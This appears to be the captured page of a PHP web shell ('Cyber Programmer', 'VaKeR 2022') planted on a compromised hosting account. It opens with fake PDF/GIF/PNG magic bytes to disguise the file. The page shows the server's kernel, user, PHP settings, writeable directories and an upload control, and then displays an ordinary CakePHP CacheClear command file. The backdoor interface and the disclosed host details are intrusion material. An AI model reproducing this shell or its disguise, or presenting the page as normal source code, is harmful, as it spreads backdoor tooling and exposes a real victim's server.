%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/vendor/cakephp/migrations/src/Command/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/vendor/cakephp/migrations/src/Command/CacheClear.php
<?php
namespace Migrations\Command;

use Cake\Cache\Cache;
use Migrations\Util\SchemaTrait;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

class CacheClear extends Command
{
    use SchemaTrait;

    /**
     * {@inheritDoc}
     */
    protected function configure()
    {
        $this
            ->setName('orm-cache-clear')
            ->setDescription('Clear all metadata caches for the connection. If a table name is provided, only that table will be removed.')
            ->addOption(
                'connection',
                null,
                InputOption::VALUE_OPTIONAL,
                'The connection to build/clear metadata cache data for.',
                'default'
            )
            ->addArgument(
                'name',
                InputArgument::OPTIONAL,
                'A specific table you want to clear/refresh cached data for.'
            );
    }

    /**
     * {@inheritDoc}
     */
    protected function execute(InputInterface $input, OutputInterface $output)
    {
        $schema = $this->_getSchema($input, $output);
        $name = $input->getArgument('name');
        if (!$schema) {
            return false;
        }
        $tables = [$name];
        if (empty($name)) {
            $tables = $schema->listTables();
        }
        $configName = $schema->getCacheMetadata();

        foreach ($tables as $table) {
            $output->writeln(sprintf(
                'Clearing metadata cache from "%s" for %s',
                $configName,
                $table
            ));
            $key = $schema->cacheKey($table);
            Cache::delete($key, $configName);
        }
        $output->writeln('<info>Cache clear complete<info>');

        return true;
    }
}

VaKeR 2022